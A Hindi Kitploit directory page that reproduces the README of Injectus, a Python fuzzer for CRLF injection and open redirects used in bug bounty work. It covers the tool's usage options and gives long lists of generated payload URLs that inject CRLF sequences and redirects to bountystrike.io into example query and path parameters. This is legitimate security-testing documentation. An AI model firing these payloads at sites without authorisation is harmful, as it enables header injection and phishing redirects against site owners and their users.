Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Injectus — CRLF और ओपन रीडायरेक्ट फ़ज़र | Kitploit
उपकरण/GitHubGitHub/dubs3c/injectus
टोहीभेद्यता स्कैनरजानकारी एकत्र करनावेब सुरक्षाफज़िंगपेनिट्रेशन टेस्टिंगArchived
GitHubdubs3c/injectus

Injectus

CRLF और ओपन रीडायरेक्ट फ़ज़र

रिपॉजिटरी देखें
1133195 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Injectus

एक सरल Python टूल जो CRLF और ओपन रीडायरेक्ट पेलोड आज़माने के लिए URL की सूची पर कार्य करता है।

root@kitploit:~

    ▪   ▐ ▄  ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄• ▄▌.▄▄ ·
    ██ •█▌▐█  ·██▀▄.▀·▐█ ▌▪•██  █▪██▌▐█ ▀.
    ▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪█▌▐█▌▄▀▀▀█▄
    ▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█▄█▌▐█▄▪▐█
    ▀▀▀▀▀▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀  ▀▀▀  ▀▀▀  ▀▀▀▀
               ~ BOUNTYSTRIKE ~

usage: Injectus [-h] [-f FILE] [-u URL] [-r] [-w WORKERS] [-t TIMEOUT]
                [-d DELAY] [-c] [-op]

CRLF and open redirect fuzzer. Crafted by @dubs3c.

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  File containing URLs
  -u URL, --url URL     Single URL to test
  -r, --no-request      Only build attack list, do not perform any requests
  -w WORKERS, --workers WORKERS
                        Amount of asyncio workers, default is 10
  -t TIMEOUT, --timeout TIMEOUT
                        HTTP request timeout, default is 6 seconds
  -d DELAY, --delay DELAY
                        The delay between requests, default is 1 second
  -c, --crlf            Only perform crlf attacks
  -op, --openredirect   Only perform open redirect attacks

प्रेरणा

मुझे एक सरल CRLF/ओपन रीडायरेक्ट स्कैनर की आवश्यकता थी जिसे मैं अपने बग बाउंटी पाइपलाइन https://github.com/BountyStrike/Bountystrike-sh में शामिल कर सकूं। मुझे कोई ऐसा टूल नहीं मिला जो मेरी आवश्यकता को पूरा करता हो, इसलिए मैंने Injectus बनाया। यह थोड़ा प्रयोग है, यह देखने के लिए कि क्या यह अन्य टूल से बेहतर काम करता है।

डिज़ाइन

यदि हमारे पास निम्नलिखित URL है:

root@kitploit:~
https://dubell.io/?param1=value1&url=value2&param3=value3

CRLF हमलों के लिए, Injectus प्रत्येक पेलोड को एक बार एक पैरामीटर के मान में इंजेक्ट करेगा, प्रत्येक n पैरामीटर के लिए। उदाहरण के लिए, Injectus उपरोक्त URL के साथ निम्नलिखित सूची बनाएगा:

root@kitploit:~
https://dubell.io/?param1=%%0a0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0d%0abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%23%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30%61bounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25%30abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%25250abounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%3f%0dbounty:strike&url=value2&param3=value3
https://dubell.io/?param1=%u000abounty:strike&url=value2&param3=value3

https://dubell.io/?param1=value1&url=%%0a0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0d%0abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%23%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30%61bounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25%30abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%25250abounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%3f%0dbounty:strike&param3=value3
https://dubell.io/?param1=value1&url=%u000abounty:strike&param3=value3

https://dubell.io/?param1=value1&url=value2&param3=%%0a0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0d%0abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%23%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30%61bounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25%30abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%25250abounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%3f%0dbounty:strike
https://dubell.io/?param1=value1&url=value2&param3=%u000abounty:strike

जैसा कि आप देख सकते हैं, प्रत्येक CRLF पेलोड पहले पैरामीटर के मान में डाला जाता है। एक बार लूप समाप्त होने पर, Injectus प्रत्येक पेलोड को दूसरे पैरामीटर में डालेगा, और इसी प्रकार आगे। एक बार सभी पैरामीटर डाले जाने के बाद, सूची पूरी हो जाती है।

यदि कोई क्वेरी पैरामीटर नहीं हैं, तो Injectus प्रत्येक पेलोड को URL के अंत में जोड़ देगा, इस प्रकार:

root@kitploit:~
https://dubell.io/some/path/%%0a0abounty:strike
https://dubell.io/some/path/%0abounty:strike
https://dubell.io/some/path/%0d%0abounty:strike
https://dubell.io/some/path/%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%23%0dbounty:strike
https://dubell.io/some/path/%25%30%61bounty:strike
https://dubell.io/some/path/%25%30abounty:strike
https://dubell.io/some/path/%250abounty:strike
https://dubell.io/some/path/%25250abounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%3f%0dbounty:strike
https://dubell.io/some/path/%u000abounty:strike

ओपन रीडायरेक्ट पेलोड इंजेक्ट करते समय, Injectus केवल तभी पेलोड डालेगा जब कोई क्वेरी/पथ पैरामीटर हो जिसमें एक सामान्य रीडायरेक्ट कीवर्ड हो, जैसे url। निम्नलिखित URL https://dubell.io/?param1=value1&url=dashboard&param3=value3 में इंजेक्ट करना:

root@kitploit:~
https://dubell.io/?param1=value1&url=$2f%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2f$2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io%2f%2fparam3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.io//param3=value3
https://dubell.io/?param1=value1&url=%2fbountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=////bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=///bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=//bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/\x08ountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=/http://bountystrike.ioparam3=value3
https://dubell.io/?param1=value1&url=bountystrike.ioparam3=value3

URL में क्वेरी पैरामीटर url है, इसलिए Injectus पेलोड को उस पैरामीटर में डालेगा।

पथ पैरामीटर का उपयोग करते समय एक उदाहरण। मूल URL है https://dubell.io/some/path/that/redirect/dashboard:

root@kitploit:~
https://dubell.io/some/path/that/redirect/$2f%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2f$2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io%2f%2f
https://dubell.io/some/path/that/redirect/%2fbountystrike.io
https://dubell.io/some/path/that/redirect/%2fbountystrike.io//
https://dubell.io/some/path/that/redirect/////bountystrike.io
https://dubell.io/some/path/that/redirect////bountystrike.io
https://dubell.io/some/path/that/redirect///bountystrike.io
https://dubell.io/some/path/that/redirect//\x08ountystrike.io
https://dubell.io/some/path/that/redirect//bountystrike.io
https://dubell.io/some/path/that/redirect//http://bountystrike.io
https://dubell.io/some/path/that/redirect/bountystrike.io

पहले की तरह, यदि कोई क्वेरी पैरामीटर या पथ पैरामीटर नहीं मिलते हैं, तो Injectus प्रत्येक पेलोड को URL के अंत में जोड़ देगा:

root@kitploit:~
https://dubell.io/$2f%2fbountystrike.io%2f%2f
https://dubell.io/%2f$2fbountystrike.io
https://dubell.io/%2fbountystrike.io%2f%2f
https://dubell.io/%2fbountystrike.io
https://dubell.io/%2fbountystrike.io//
https://dubell.io/////bountystrike.io
https://dubell.io////bountystrike.io
https://dubell.io///bountystrike.io
https://dubell.io//\\bountystrike.io
https://dubell.io//bountystrike.io
https://dubell.io//http://bountystrike.io
https://dubell.io/bountystrike.io

स्थापना

root@kitploit:~
pip3.7 install -r requirements.txt --user

योगदान

कोई भी प्रतिक्रिया या विचार स्वागत है! कुछ सुधारना चाहते हैं? एक पुल रिक्वेस्ट बनाएँ!

  1. इसे फोर्क करें!
  2. अपनी फ़ीचर ब्रांच बनाएँ: git checkout -b my-new-feature
  3. प्री-कमिट जाँच कॉन्फ़िगर करें: pre-commit install
  4. अपने बदलाव कमिट करें: git commit -am 'Add some feature'
  5. ब्रांच पर पुश करें: git push origin my-new-feature
  6. एक पुल रिक्वेस्ट सबमिट करें :D
टूल डाउनलोड करें